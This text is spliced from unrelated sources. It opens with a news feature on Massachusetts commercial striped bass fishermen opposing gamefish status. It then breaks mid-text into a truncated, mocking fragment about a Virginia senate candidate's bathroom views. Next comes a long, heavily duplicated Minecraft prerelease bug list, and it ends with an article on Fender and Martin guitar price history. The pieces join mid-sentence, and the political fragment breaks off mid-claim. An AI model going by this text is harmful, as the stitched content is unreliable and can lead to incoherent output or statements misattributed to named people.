THE ARGUMENT AGAINST
Darren Saletta is president of the Massachusetts Commercial Striped Bass Association and says that the Stripers Forever efforts are “short sighted and irresponsible.”
Saletta says the ASMFC “has done an excellent job of managing the fishery in the past three decades and should be commended for successful management.” This management includes “triggers” which mandate management action. Saletta says that despite a downturn in biomass that the preemptive triggers are still not close to be being reached.
He derides the Stripers Forever position as an allocation grab, saying that their position “is about allocation, not conservation.”
Patrick Paquette of Massachusetts Striped Bass Association concurs. “This is really an allocation debate. Gamefish status [for striper] is really not about conservation.”
Paquette also takes exception to the Stripers Forever position of bringing the fight to the legislature. Paquette admits that steps need to be taken to protect and preserve the striped bass population, but would prefer to see any debate “happen publicly, and happen through fisheries management. Asking the legislature to regulate fishing doesn’t really make sense.” The MSBA position is that they’d prefer to focus on forage management and look at the whole ecosystem.
By the numbers, there are about 4,000 commercial striped bass fishermen in Massachusetts. (The permits, which cost $30 for residents and $60 for non-residents, are available to anyone who asks for one.)
But this number is misleading. Of those 4,000 Massachusetts commercial striped bass permit holders, only about 1,200 sell even one fish in a given year. And a mere handful of individuals—35 fishermen—each landed over 5,000 pounds in the most recent year measured. Saletta estimates that 75% of the quota is landed statewide by about 250 guys.
And even among this robust 250 guys, few if any of them earn their annual income from striped bass fishing alone. After all, the fishery is only open until the quota is reached, and that is often less than 20 days. Last year it was a mere 14 days. Unless you’re a pro football player, you can’t make a living working that many days a year.
The way it was set up, the striped bass commercial fishery was never intended to be a full time thing. “It’s not a place to go for a misplaced [commercial] groundfisherman,” says Paquette.
Consequently, the striped bass fishery is considered a gateway fishery, a stepping off point for commercial fishermen who likely hold several endorsements on their license as placeholders. Many of these same guys either sportfish as charter boat captains on the side (or, more accurately, fish commercially on the side while running a charter business) and then dig clams or scratch bait to round out their income in the off-season.
State representative Sarah Peake, D-Provincetown, has stated that “These guys are geniuses at being able to figure out how they can piece together enough to earn a living. This little bit of commercial bass that they can catch during the summer months is a make-or-break piece for them.”
An exemplar of this breed is Bruce Peters of Chatham. He has fished stripers commercially since 1990, runs Cape Shore Charters off the Chatham Fish Pier and says that gamefish status, “Wouldn’t hurt me financially, but it would take away a freedom I grew up with.”
It is something Peters feels strongly about. “Striped bass belong to every single member of the Commonwealth. The commercial guy is a tool that gets that [resource] to market,” and that taking that away is only “taking it away from the little old lady,” who wants to buy striper at a restaurant or fish market.
Curiously, it is this proverbial little old lady that each of the opposing groups site as their target audience. Both groups claim the popular mantle and they speak for the people.
Both also deride the middle-of-the-pack fisherman who fill out the ranks of the commercial bass fleet—the majority of the 4,000 permit holders, in other words.
Stripers Forever derides these “pin fishermen” who only catch bass commercially to subsidize their other recreational fishing. Peters too has some harsh words for a group he derides as, “Little nimrod college kids who live in their mother’s basement,” who fish more out of interest in writing off their expensive Whalers, trailers and fuel for the year. The pro- and anti-gamefish crowd are in agreement on very little, but both agree that these middling fishermen drive down prices by glutting the market in what is already a short season and both acknowledge that a lot of gray-market and black-market sales muddy a clear assessment of landings numbers.
Saletta bristles at the way the gamefish argument is often oversimplified as being a commercial versus recreational argument. “I’m a recreational fisherman!” he states, citing Monomoy Sportfishing, his charter fishing business that operates when commercial season is not on. Saletta has a vested interest in a sustainable striped bass fishery with an abundance of fish in the water, and has supported water quality issues and striped bass forage fish issues. In December, he traveled to an ASMFC meeting in Baltimore, Maryland to support an historic reduction in the commercial harvest of menhaden, a species considered integral to the diet of the stripers.
“The gamefish argument is about allocation, not conservation,” says Saletta. “This is a public resource, with [commercial fishermen] bringing fish to people who don’t fish.”Joe Preston is all about making people comfortable, and the Virginia state senate hopeful wants to make sure gays and lesbians are as comfortable as possible. So he’s suggesting that heterosexuals and homosexuals use different bathrooms. For the comfort of the homosexuals, of course, not because people think they’re icky or anything. He’s only thinking of you, sexual minorities!
Preston, who’s a Democrat, has some interesting views when it comes to making sure that the LGBT+ community is treated correctly in our society. For one, he thinks that transgender children should only be allowed to use the bathroom corresponding to their |
, but the chance to get 4 increases with fortune. /jeb
[X] [ MP ] Splash potion of instant damage does not do any damage on multiplayer(Mobs or players).
Splash potion of instant damage does not do any damage on multiplayer(Mobs or players). [ Cr ] Creative mode inventory missing items: [X] 18:3 Spruce Trees' Coloured Leaves This is not a real block /jeb Same thing as the 44:6 slab, here's a screenshot of that block. [X] 44:6 Alternate Stone Slab (ID 44:6) Not sure what this is /jeb Notice to Jeb: I have posted a screenshot of the alternate stone slab (44:6) and double slab (43:6) on the left, and the normal ones on the right. As the alternate double slab provides an alternate appearance, it would be useful to have for aesthetic purposes. Please reassess and change back to [s] or fix. -Gravemind2401 This version of the slab definitively needs to be in creative. A lot of people use it. I recall having it in your inventory and mousing over it in 1.8 would cause a crash. Kedama 04:29, 11 November 2011 (UTC) [X] 60 Farmland [X] 78 Snow layer
Creative mode inventory missing items:
Annoyances
[A] Signs and chests are missing their "cracking" animation.
Signs and chests are missing their "cracking" animation. [A] Signs, doors, boats and minecarts aren't stackable. (Reason?)
Signs, doors, boats and minecarts aren't stackable. (Reason?) [A] Empty buckets aren't stackable (but potions were before so it's possible to do?).
Empty buckets aren't stackable (but potions were before so it's possible to do?). [A] Soup isn't stackable (same as above). (Could be a balance issue, but the stack size could be made smaller.) (Note: It has been like this since the original 1.8 release.)
Soup isn't stackable (same as above). (Could be a balance issue, but the stack size could be made smaller.) (Note: It has been like this since the original 1.8 release.) [A] When lying in a Bed you can press shift, and it will work just like crouching, the camera goes down a litte, and you can see your body, and move your head.
When lying in a Bed you can press shift, and it will work just like crouching, the camera goes down a litte, and you can see your body, and move your head. [A!] wooden doors cannot be opened with hand by right clicking or clicking
wooden doors cannot be opened with hand by right clicking or clicking [A] When two doors are placed together and a current is applied to both of them, the left will invert and remain the opposite of the right.
Fixed/Skipped
Some items are not mined fast/slow with the correct tool. These items are: [X] Cauldrons should be mined faster with better pickaxes [F] Nether Brick & Nether Brick Fence should be mined faster with better pickaxes. [F] Furnaces should be mined faster with better pickaxes. [F] Dispensers should be mined faster with better pickaxes. [S] Pistons and Sticky Pistons should be mined faster with pickaxes. [F] All types of stairs should be mined faster with better pickaxes. (For wooden, it should be mined faster with better axes.) [F] All types of rails should be mined faster with a pickaxe. [S] Netherrack should be mined slower with lower quality pickaxes. Why? /jeb It's mined too fast, but it may be intentional because its "out of the world" :) [S] Vines should be mined faster with shears. -_- /jeb [F] Pumpkins and Jack-o-Lanterns should be mined faster with an axe. Alternatively, Axes should break Pumpkins into Pumpkin Seeds directly. Jack-o-Lanterns should only drop a torch and no seeds. Since we can farm the pumpkins now, it would prevent us from having a ton of pumpkins for no reason. AMOE [F] Melons should be mined faster with an axe. Alternatively, Swords and Axes should provide a higher rate of slices, while other tools (or no tools) should just give melon seeds. Since all you need is a stalk, it doesn't really matter if a melon block is "wasted". Just wait a bit longer for another one. AMOE [F] Fences should be mined faster with an axe. [F] Wooden stairs should be mined faster with an axe. [F] Wooden doors should be mined faster with an axe. [F] Trapdoors should be mined faster with an axe. [F] Ladders should be mined faster with an axe. Alternatively, Axes should break ladders into 6 sticks. The middle stick/bar/step would break from the axe (maybe). AMOE [F] Crafting tables should be mined faster with an axe. [F] Redstone ore should be mined faster with better pickaxes. [F] Soul sand should be mined faster with a shovel. [F] Fence Gates should be mined faster with an axe. [F] Wooden pressure plates should be mined faster with an axe. [F] Mycelium covered dirt should be mined faster with a shovel. [F] Note Blocks should be mined faster with an axe. [F] Jukeboxes should be mined faster with an axe. [F] Signs should be mined faster with an axe. [F] Bricks and Stone Bricks should be mined faster with better pickaxes. [F] Iron bars should be mined faster with better Pickaxes.
Incorrect collision box sizes: [S] Chests have their collision box as the entire cube. (Chests are slightly smaller than a full block) [S] All types of stairs have an entire cube as a collision box, even though it's technically 3/4 of one block (The cut of the stair which allows you to step on) [S] Signs don't have a proper collision box. [S] All types of tall grass and bushes have the entire cube as their collison box. [S] All types of saplings have their collision boxes as an entire cube. [S] Cobwebs Have an entire cube for their collision box. Jeb, remove the unnecessary ones like the cobwebs, saplings, and tall grass.
[F] If a block is placed on top of a fence and you walk on it you get the sound of footsteps as if you are walking on the fence. The same bug also prevents tilled farmland on top of a fence from reverting back to dirt when walked on and It also stops redstone ore from sparkling when walked on. FYI the analysis of the bug was incorrect :P /jeb I don't think i was wrong. The issue as i saw it was with this if statement (using MCP)
If a block is placed on top of a fence and you walk on it you get the sound of footsteps as if you are walking on the fence. The same bug also prevents tilled farmland on top of a fence from reverting back to dirt when walked on and It also stops redstone ore from sparkling when walked on.
int j3 = worldObj.getBlockId(l, j1, l1); if(worldObj.getBlockId(l, j1 - 1, l1) == Block.fence.blockID) { j3 = worldObj.getBlockId(l, j1 - 1, l1); }
where l, j1,l1 is the position of the block the entity is walking on. Later the code uses j3 as the blockid to call both the walking sound and method that is called that deals with entities walking on blocks. I fixed the issue on my own client by simply adding && j3==0 to the if statement. But if its now fixed then its fixed and that is all that really matters :D - incanus_uk
[U] If Nether wart is planted below another Nether wart it turns back into an item after a few seconds (even through the light level is under 8 and it is planted in th Nether). Show me how this is built. /jeb From Above: Soul Sand (with Nether Wart-> 8xNetherrack-> 2xAir-> Soul Sand (where the Bug Occurs). Note: Removing some of the Nether rack from bellow delays the effect. Removing all of the Netherrack between the Soul Sands seems to Remove the Problem.
If Nether wart is planted below another Nether wart it turns back into an item after a few seconds (even through the light level is under 8 and it is planted in th Nether). [F] When using the "Pick Block" function (middle click), it does not differentiate between different blocks with the same ID (such as different colors of wool, different types of slabs, leaves, saplings, stone brick, wood, and tall grass)
When using the "Pick Block" function (middle click), it does not differentiate between different blocks with the same ID (such as different colors of wool, different types of slabs, leaves, saplings, stone brick, wood, and tall grass) [F] Placing a bed (lower half) next to a cactus will destroy the bottom portion of the bed. However, the top portion of the bed will stay, making it a half-bed with only the pillow side. You can sleep on it without the game crashing.
Placing a bed (lower half) next to a cactus will destroy the bottom portion of the bed. However, the top portion of the bed will stay, making it a half-bed with only the pillow side. You can sleep on it without the game crashing. [F] Nether Brick Stairs drop nether brick instead of the stairs.
Nether Brick Stairs drop nether brick instead of the stairs. [S] Hitting a mob with a tool or your hand will still deduct durability and hunger bar regardless or not of the hit doing any damage (Hitting too fast for example) Thus, if you click fast enough, it is possible to expend an entire diamond sword and your entire hunger bar on one mob. (That speed is only achievable through a macro though) Kedama
[F] [SP] Ice blocks mined with a Silk Touch Pickaxe leaves behind water as well as the dropped ice block.
[F] [Cr] In Creative, you should be able to keep throwing Snowballs, Eggs and Ender Pearls no matter how many are in the inventory.
[F] If you make a stone 6x6 square, break the corner blocks, and then try to put a block inside the square, the block disappears and the block under it also disappears.
If you make a stone 6x6 square, break the corner blocks, and then try to put a block inside the square, the block disappears and the block under it also disappears. [F] When shearing vines, the items dropped retain their data values (reflecting which surface they were on when sheared). Further vines in that stack in inventory also have the same data value as the first in the stack. This causes issues with plugins that don't understand that all data values for item id 106 are vines (most other blocks use data values to distinguish different blocks). Vines should revert to data value 0 when in inventory.
When shearing vines, the items dropped retain their data values (reflecting which surface they were on when sheared). Further vines in that stack in inventory also have the same data value as the first in the stack. This causes issues with plugins that don't understand that all data values for item id 106 are vines (most other blocks use data values to distinguish different blocks). Vines should revert to data value 0 when in inventory. [F] In creative mode, putting water in a cauldron from a bucket empties the bucket. Whereas placing water from a bucket normally keeps it infinite.
In creative mode, putting water in a cauldron from a bucket empties the bucket. Whereas placing water from a bucket normally keeps it infinite. [F] The side grass texture always uses the fast grass texture, regardless of the graphic setting.
The side grass texture always uses the fast grass texture, regardless of the graphic setting. [F] Eyes of Ender will sometimes go to areas without an End Portal. An example seed for 1.9pre4 which suffers from this bug: 1883114686416083372. This seed will reproduce the bug on 1.9pre5: -7521364253261532640
Eyes of Ender will sometimes go to areas without an End Portal. An example seed for 1.9pre4 which suffers from this bug: 1883114686416083372. This seed will reproduce the bug on 1.9pre5: -7521364253261532640 [F] When a water block is placed with empty space underneath, a column of source block is created under the water block. (Maybe an intended feature? Might help keep oceans from having random holes where land used to be.)
When a water block is placed with empty space underneath, a column of source block is created under the water block. (Maybe an intended feature? Might help keep oceans from having random holes where land used to be.) [F] Arrows do not get stuck in lily pads.
Arrows do not get stuck in lily pads. [F] Enchantment Tables break with a single punch and are destroyed permanently, although they can be mined with a pickaxe.
Enchantment Tables break with a single punch and are destroyed permanently, although they can be mined with a pickaxe. [F] Even though they're legitimately obtainable (by Silk Touch), Silverfish Blocks and Double Slabs don't have a name.
Even though they're legitimately obtainable (by Silk Touch), Silverfish Blocks and Double Slabs don't have a name. [F] Silk Touch Enchantment doesn't recognize Blocks damage. For example, destroying double slabs of any type will always result in a double stone slab block.
Silk Touch Enchantment doesn't recognize Blocks damage. For example, destroying double slabs of any type will always result in a double stone slab block. [F] Save and Quit while water and/or lava is flowing downwards from a high source block can lead to weird freezes in state upon reloading the world (suspended blocks of fluid).
Save and Quit while water and/or lava is flowing downwards from a high source block can lead to weird freezes in state upon reloading the world (suspended blocks of fluid). [F] Placing a redstone repeater to the side of a jukebox causes a lighting bug on the repeater.
Placing a redstone repeater to the side of a jukebox causes a lighting bug on the repeater. [F] When placing a slab, and another one under it, then another one over all of them, the blocks combine into 1 double slab at the bottom.
When placing a slab, and another one under it, then another one over all of them, the blocks combine into 1 double slab at the bottom. [X] Fence Gates have their collision boxes as the entire cube.
Fence Gates have their collision boxes as the entire cube. [F] Can place redstone on chests.
Can place redstone on chests. [F] There is a shadow around glowstone blocks. There should be none since it's supposed to emit light from all directions.
There is a shadow around glowstone blocks. There should be none since it's supposed to emit light from all directions. [F] When you break a piece of birch wood you get a normal piece of wood instead of birch (This happens to me i don't know about anybody else).
When you break a piece of birch wood you get a normal piece of wood instead of birch (This happens to me i don't know about anybody else). [F] Fences attach to Chests.
Fences attach to Chests. [F] When growing underground tree farms, trees become wooden poles with invisible, glitchy leaves. Leaves do not appear until new torches are placed nearby.
When growing underground tree farms, trees become wooden poles with invisible, glitchy leaves. Leaves do not appear until new torches are placed nearby. [F] Silk Touch TNT Duplication Bug TNT blocks broken with a Silk Touch pickaxe yield two TNT blocks instead of one, allowing for infinite TNT collection.
TNT blocks broken with a Silk Touch pickaxe yield two TNT blocks instead of one, allowing for infinite TNT collection. [F] Cobblestone Stairs drop a piece of cobblestone instead of the stairs.
Cobblestone Stairs drop a piece of cobblestone instead of the stairs. [F] Stone Brick Stairs drop a piece of stone bricks instead of the stairs.
Stone Brick Stairs drop a piece of stone bricks instead of the stairs. [F] Brick Stairs drop a piece of bricks instead of the stairs.
Brick Stairs drop a piece of bricks instead of the stairs. [F] Wooden Stairs drop a wooden plank instead of the stairs.
[F] [S] Glass pane don't connect to slabs, stairs and (wooden?) doors: [11]
[S] If you burn a non-cubic block, the fire floats above the block, like if it was a solid block.
If you burn a non-cubic block, the fire floats above the block, like if it was a solid block. [S] It is possible for a lily-pad to spawn underground and on flowing water. Example: [12]
It is possible for a lily-pad to spawn underground and on flowing water. Example: [12] [S] Flowers can spawn upon sand blocks but cannot be placed upon sand blocks by the player (only seen with yellow flowers).
Flowers can spawn upon sand blocks but cannot be placed upon sand blocks by the player (only seen with yellow flowers). [S] Snow Golems still attack mobs in creative mode in which are neutral.
Snow Golems still attack mobs in creative mode in which are neutral. [S] Dirt blocks that are irrigated shimmer blue on the side when viewed from underwater. Also the water-side of submerged glass blocks.
[U] Spruce or Pine, when converted into sticks, sometimes cannot be made into tools. This bug is absent with Oak and Birch.
[U] [S] Tall grass can be generated on dirt and gravel in NPC villages.
Tall grass can be generated on dirt and gravel in NPC villages. [U] [S] While standing in a ladder's block, the ladder tends to be highlighted (since the Beta 1.6 fix, fixing not being able to mine blocks you were inside), making placing and breaking blocks difficult.
Creative mode inventory missing items: [F] Blocks from mods, Items from mods do [F] 18:1 Spruce Trees' Leaves [F] 18:2 Birch Trees' Leaves [S] 31:0 Dead Bush placeable on dirt and grass Not adding because it's confusing to have two identical-looking blocks that does different things. Maybe for a later update /jeb [F] 31:1 Tall grass [F] 31:2 Fern [S] 52:* (Working) Mobs Spawners [S] 90 Portal [S] 97:0 Silverfish Stone [S] 97:1 Silverfish Cobblestone [S] 97:2 Silverfish Stone Brick [S] 99 Huge Red Mushroom [S] 100 Huge Brown Mushroom [F] 111 Lily Pad [S] 119 End Portal [S] 120 End Portal Frame [S] 263:1 Charcoal
[F] Creative mode inventory unneeded items : [F] 83 Sugar Cane Block - There's the "Sugar Canes" item (338) for that [F] 92 Cake Block - There's the "Cake" item (354) for that
Creative mode inventory unneeded items :
[S] Wooden slabs are mined with a pickaxe, have a higher blast resistance, and do not burn.
Crashing
Bugs
[!!] Maximizing the window and moving it to another monitor before pressing 'E' or right clicking an interface after starting the game will result in the game crashing with the "Saving Chunks" screen upon pressing 'E' or right clicking any interface in Mac OS X. I can reproduce this with Minecraft 1.8.1. Sometimes, even the Finder/Dock seems to crash, too when doing this (the dock, desktop icons and finder background vanish for a short time). Could be like this only for me, though. --87.147.196.187 18:36, 9 November 2011 (UTC) This bug has been in the game since I bought it at Beta 1.2. Qata 20:53, 9 November 2011 (UTC)
Maximizing the window and moving it to another monitor before pressing 'E' or right clicking an interface after starting the game will result in the game crashing with the "Saving Chunks" screen upon pressing 'E' or right clicking any interface in Mac OS X. [!!] After playing for a few hours an error will occur causing the "Saving Chunks/Out of Memory" error. This often happens while running 32-bit Java on a 64-bit OS. But since 1.9-pre5, it doesn't happen that often anymore.
This can commonly be fixed by using the below line in a file ending in.bat or.batch. This works with 64-bit OS machines:
"%ProgramFiles(x86)%\Java\jre6\bin\java.exe" -Xmx256m -Xms128m -cp Minecraft.exe net.minecraft.LauncherFrame
And this works for 32-bit OS machines:
java -Xmx256m -Xms128m -cp Minecraft.exe net.minecraft.LauncherFrame
[!!] Game (clients and?servers?) cannot tell when it is in distress / running out of memory / processing due to an entity (Mobs or blocks on the ground) overload. Propose that when memory/processing usage is approaching critical levels, the game should take much more aggressive management of entity removal. This can be achieved in vanilla ssp/?smp? through standing next to a mob spawner dropping mobs into a trap outside the check range but mobs remain inside the "mob reborn" range (this may have been a bug of the above memory leak, the game crashed and I was not able to restart it). This can be achieved artificially with MCEdit with a 2x2 chunk room 10-20 blocks high and replacing the air with torches or similar. Entity overload on SMP creative through the use of scripts mass-dropping blocks (before the ability compress blocks into a single unit) is/was a well known and often abused griefing tactic.
[!!] [U] Hitting Alt + F11 causes a crash and a error report to download to your desktop.
Hitting Alt + F11 causes a crash and a error report to download to your desktop. [!!] In the Nether on Survival the game randomly shows the "Saving Chunks" error and crashes.
In the Nether on Survival the game randomly shows the "Saving Chunks" error and crashes. [!!] If the game is interrupted by a computer crash unrelated to Minecraft (such as another program running in the background) or a power failure, then the Minecraft.dat file in the saves folder may be corrupted and the world lost. Propose an auto-backup save system similar to that used by MS Office applications. (New save renames the previous save to a backup) Better than backups would be an atomic save format, perhaps using a journal: http://en.wikipedia.org/wiki/Journaling_file_system
If the game is interrupted by a computer crash unrelated to Minecraft (such as another program running in the background) or a power failure, then the Minecraft.dat file in the saves folder may be corrupted and the world lost. Propose an auto-backup save system similar to that used by MS Office applications. (New save renames the previous save to a backup) [!!] Pressing the Close button while on the main menu of minecraft (X at the top right of windows. Top Left of mac)Often causes the game screen to go black, CPU usage to spike and the computer to become very laggy for 1–2 minutes. (Tested on. Mac OSX Snow Leopard, Windows 7 Professional 32 bit, Windows 7 Home Premium 64 bit and Linux Ubuntu 10.10 maverick meerkat. (All show same behavior)
Pressing the Close button while on the main menu of minecraft (X at the top right of windows. Top Left of mac)Often causes the game screen to go black, CPU usage to spike and the computer to become very laggy for 1–2 minutes. (Tested on. Mac OSX Snow Leopard, Windows 7 Professional 32 bit, Windows 7 Home Premium 64 bit and Linux Ubuntu 10.10 maverick meerkat. (All show same behavior) [X] Some players are reporting that the minecraft server is unable to generate seed dynophore here. This bug needs more research.
Fixed/Skipped
[F] Receiving item "351:16 to 351:19" Gives you weird, corrupted wooden tools. When you open your inventory and hover your cursor over the weird wooden tools, the game says "saving chunks" then crashes. Items "351:20" and on give you an invisible item, hovering over the item will crash the game.
Receiving item "351:16 to 351:19" Gives you weird, corrupted wooden tools. When you open your inventory and hover your cursor over the weird wooden tools, the game says "saving chunks" then crashes. Items "351:20" and on give you an invisible item, hovering over the item will crash the game. [F] Placing an enchantment table, destroying it and placing a chest on its place will result in a glitched flying book which crashes your game when right clicked. (creative multiplayer only)
Placing an enchantment table, destroying it and placing a chest on its place will result in a glitched flying book which crashes your game when right clicked. (creative multiplayer only) [F] When you destroy a Monster spawner in SMP in creative OR someone else destroys it in creative or survival the flames don't disappear. If you put a chest where the flames are, it will create a transparent block with a tiny mob spinning inside it. If you right-click the block, your game will crash.
When you destroy a Monster spawner in SMP in creative OR someone else destroys it in creative or survival the flames don't disappear. If you put a chest where the flames are, it will create a transparent block with a tiny mob spinning inside it. If you right-click the block, your game will crash. [F] Placing a chest, then removing it, and then placing a sign or enhancement table on that place will crash the client.
Placing a chest, then removing it, and then placing a sign or enhancement table on that place will crash the client. [F] Placing a chest beside a Brewing stand in 1.9pre5 multiplayer will cause it to look like it is not there (transparent), right-clicking on it causes the game to crash. You can still break it without Minecraft crashing. After logging back on the chest will work properly.
Files
Bugs
None.
Annoyances
None.
Fixed/Skipped
[F] On servers if the ops.txt file is missing the message generated states "Failed to load ip ban list" obviously copied from banned-ips.txt message and not modified.
On servers if the ops.txt file is missing the message generated states "Failed to load ip ban list" obviously copied from banned-ips.txt message and not modified. [F] After loading a world and quitting to the main menu, some region files remain being opened and locked by the region cache manager. Altering these region files requires the game to be fully shut down first, which makes external edits cumbersome.
[S] Saved worlds show up as 0.0 MB.
[U] Sometimes after dying on a hardcore world Minecraft fails to delete files and after starting a new world with same name you may find old chunks. I've had this bug in 1.7.3, I blew a giant hole in the ground and then deleted the world. I made another world with exactly the same name and left the seed field blank, and it recreated the world I'd just blown up, with the hole exactly where it was in the world I deleted, if I remember correctly it also moved my spawn point to where I had logged out, I'm not quite sure how to reproduce this though, as it's only happened to me for that one time, as soon as I closed the game and reopened it the bug stopped happening.
Sometimes after dying on a hardcore world Minecraft fails to delete files and after starting a new world with same name you may find old chunks.
Gameplay
Bugs
[!] Clicking/right-clicking while moving the mouse may cause the screen to lose focus. Seems to happen in all OSs but it happens even more in Linux with the Fluxbox window manager. The cause is that whenever you click or right-click, the game loses cursor focus for an instant (you can even see the cursor blink over the screen). If the cursor is moving enough fast, it is not relocated in the center of the screen in time. Very easy to reproduce (easier in Linux&Fluxbox window manager): Just spam right-click while moving the mouse fast.
Clicking/right-clicking while moving the mouse may cause the screen to lose focus. Seems to happen in all OSs but it happens even more in Linux with the Fluxbox window manager. The cause is that whenever you click or right-click, the game loses cursor focus for an instant (you can even see the cursor blink over the screen). If the cursor is moving enough fast, it is not relocated in the center of the screen in time. Very easy to reproduce (easier in Linux&Fluxbox window manager): Just spam right-click while moving the mouse fast. [!] [ MP ] Occasionally, held items simply disappear never to return. This is because of the client thinking you still have the item, but the server doesn't think you have the item. To fix this, reconnect or open a container.
Occasionally, held items simply disappear never to return. This is because of the client thinking you still have the item, but the server doesn't think you have the item. To fix this, reconnect or open a container. [!] [ MP ] The server won't load the End or Nether; therefore making both worlds not generate (the End is just the 5x5 obsidian platform you spawn on). You must dig up from the obsidian you spawn on, you only have to go up 5 blocks.
The server won't load the End or Nether; therefore making both worlds not generate (the End is just the 5x5 obsidian platform you spawn on). You must dig up from the obsidian you spawn on, you only have to go up 5 blocks. [X] You can't hold down the left mouse button to continuously attack anymore. Not a bug. An improvement on combat...I forget the exact reference.
Not a bug. An improvement on combat...I forget the exact reference. [X] You can't hold down the left mouse button to break a minecart anymore.
You can't hold down the left mouse button to break a minecart anymore. [X] [ MP ] Exploring previously-unexplored deserts in SMP causes the player to run into invisible cacti, which cause damage and stuttering movement. Disconnecting and reconnecting or leaving the area and returning makes them visible.
Exploring previously-unexplored deserts in SMP causes the player to run into invisible cacti, which cause damage and stuttering movement. Disconnecting and reconnecting or leaving the area and returning makes them visible. [X] When you're in a snow Biome, if you make a fountain of Water and wait for it to freeze, you can take it with a Bucket, and the next flowing water will turn into Ice.
When you're in a snow Biome, if you make a fountain of Water and wait for it to freeze, you can take it with a Bucket, and the next flowing water will turn into Ice. [X] Water on top of fence posts can cause entities to hop in place if they move in any direction against a wall 1 block or more higher. This does not happen at all at the.5 minimal height for collision next to water on a fence post.
Water on top of fence posts can cause entities to hop in place if they move in any direction against a wall 1 block or more higher. This does not happen at all at the.5 minimal height for collision next to water on a fence post. [X] When entering The End, it is possible that you will spawn off the generated blocks and be placed on a 5x5 block of obsidian. If played on a mode other than creative, it would be difficult to make a path to the rest of the map.
When entering The End, it is possible that you will spawn off the generated blocks and be placed on a 5x5 block of obsidian. If played on a mode other than creative, it would be difficult to make a path to the rest of the map. [X] Docking into Soul Sand at boat crashing speeds while on a boat will result in the player taking fall damage.
Docking into Soul Sand at boat crashing speeds while on a boat will result in the player taking fall damage. [S] [ Cr ] Ender Pearls can't be thrown in Creative mode. Intentional /jeb
Ender Pearls can't be thrown in Creative mode. [S] [ Cr ] Creative still has an inventory, which is not directly accessible without a chest, furnace, etc.
Creative still has an inventory, which is not directly accessible without a chest, furnace, etc. [X] Noteblocks can only be powered in 3 ways, 2 of which is bugged: Direct wire, Torch underneath, and a direct repeater.
[?] [ SP ] In single-player, leaving an area causes the game to "spike" for up to several seconds, but not when re-entering it. Significant stuttering of sound also occurs. This may be exclusive to the area the user's bed is in. Note: Removing bed does not appear to fix the problem.
In single-player, leaving an area causes the game to "spike" for up to several seconds, but not when re-entering it. Significant stuttering of sound also occurs. This may be exclusive to the area the user's bed is in. Note: Removing bed does not appear to fix the problem. [X] In creative mode, if you go to sleep while flying, and press space bar as the screen goes gray, you will ascend.
In creative mode, if you go to sleep while flying, and press space bar as the screen goes gray, you will ascend. [X] In creative mode you can't access the 3x3 crafting area, Instead you have to get a crafting table.
Annoyances
Discussion moved to Gameplay Annoyances. Continue discussing there if you'd like.
[A!] Weapons/Tools of the same material and type cannot be swapped in the inventory, even if one of them is damaged.
Weapons/Tools of the same material and type cannot be swapped in the inventory, even if one of them is damaged. [A!] According to the "en_US.lang" language file, there should be a "Quit Game" button on the Title Screen, but it's missing. It only appear when testing the game with the MCPatcher HD Fix (Screenshot).
[A] [Cr] If in Creative mode, and save and quit to title is pressed, when you open your world again your inventory changes to default. But only empty spaces. EX: If you only have Stone Bricks in your hot bar, and you save then re-enter your world, You'll still have the bricks, but also Stone, wood, torches, leaves etc.
This is not a bug, it is intentional. It is kind of like classic mode in a sense.--DaleK
[A] Every update that deals with time passage (crops growing, trees growing, animals growing, redstone circuitry and minecart movement also) depends on the chunks being loaded. If instead minecraft had a time passed variable and every time a chunk was loaded, the items requiring change would compare the current global time passed variable with their local copy of the last time passed variable that they had when the chunk was last loaded, they could automatically "update" to where they should be (seeds planted turn to wheat, trees grow, and babies become adults if enough time has passed).
Every update that deals with time passage (crops growing, trees growing, animals growing, redstone circuitry and minecart movement also) depends on the chunks being loaded. If instead minecraft had a time passed variable and every time a chunk was loaded, the items requiring change would compare the current global time passed variable with their local copy of the last time passed variable that they had when the chunk was last loaded, they could automatically "update" to where they should be (seeds planted turn to wheat, trees grow, and babies become adults if enough time has passed). [A] Melon (and pumpkin) stalks are greedy; if a melon (or pumpkin) grows from a stalk, all adjacent stalks "adopt" the melon (or pumpkin) resulting in loss of efficiency.
Melon (and pumpkin) stalks are greedy; if a melon (or pumpkin) grows from a stalk, all adjacent stalks "adopt" the melon (or pumpkin) resulting in loss of efficiency. [A!] [SP] Trying to sleep at night in a sealed house with wooden door on Pre 5 and i seem to be woken up from sleep by spiders/Zombies/Skeletons even tho i got ALOT of torches around
Fixed/Skipped
[F] Entities ( any entities, this includes mobs and players) can gather up damage from lava to have it all expelled onto them upon touching dry land (even those entities who are immune to lava damage can amount insane amounts of damage just by taking a lava bath for a few seconds).
Entities ( entities, this includes mobs and players) can gather up damage from lava to have it all expelled onto them upon touching dry land (even those entities who are immune to lava damage can amount insane amounts of damage just by taking a lava bath for a few seconds). [F] Sleeping in a bed placed immediately next to a solid block will cause a mob to spawn and wake you. Tested in SSP with bed placed on wall directly separating bed from the oustide world as well as a wall placed inside a well-lit structure. Moving bed 1 block away from wall fixes the problem with no |
403.21 price tag.
It wasn’t really until the 1990s that the price tags of Teles and Strats started to converge. Younger players began to see them as fraternal twins, two different takes on the same solid-body, single coil Fender paradigm. In 1954, though, the Stratocaster was a spaceship, a wildly more advanced guitar with new technology (synchronized tremolo bridge).
Legions of derivative models from Kramer, Jackson and Ibanez (among others) have since shifted the Stratocaster’s design from groundbreaking to universal, a conceptual shorthand conjured whenever the words “electric guitar” are uttered.
Increased competition drives prices down. It’s no surprise, then, that we see the MSRPs of made-in-U.S.A. Stratocasters decrease even more dramatically over time than they do for Telecasters.
Again, this tracks the base level made-in-U.S.A. Stratocaster with a standard finish, rosewood fingerboard and tremolo bridge from 1954 to 1985, and the American Standard (and Series) Stratocaster with those same specs from 1988 to present.
Like the Telecaster, there has been a Highway 1 and American Special Stratocaster offered since the early 2000s, calling into question what the base Stratocaster model truly is. If they were included here, the trend towards affordability would be even stronger.
The Martin D-28 Has Doubled In Price
The continuity that runs throughout the C.F. Martin company — from its family leadership to its single unbroken line of serial numbers to its nearly uninterrupted production of core models — makes it tempting to think that scale and consistency would bring down prices as they did with the Stratocaster and Telecaster. Not so.
This is the most complete data set of any included in this article, and the trend is undeniable. The MSRP of the Martin D-28 sharply increased from 1950 through the late 1970s before leveling off somewhat after 1980. Did the cost of American labor really spike that much?
There is a plateau from 1963 to 1971 before prices took off again. Could the switch from Brazilian to Indian rosewood in 1969 have affected production cost and thus MSRP?
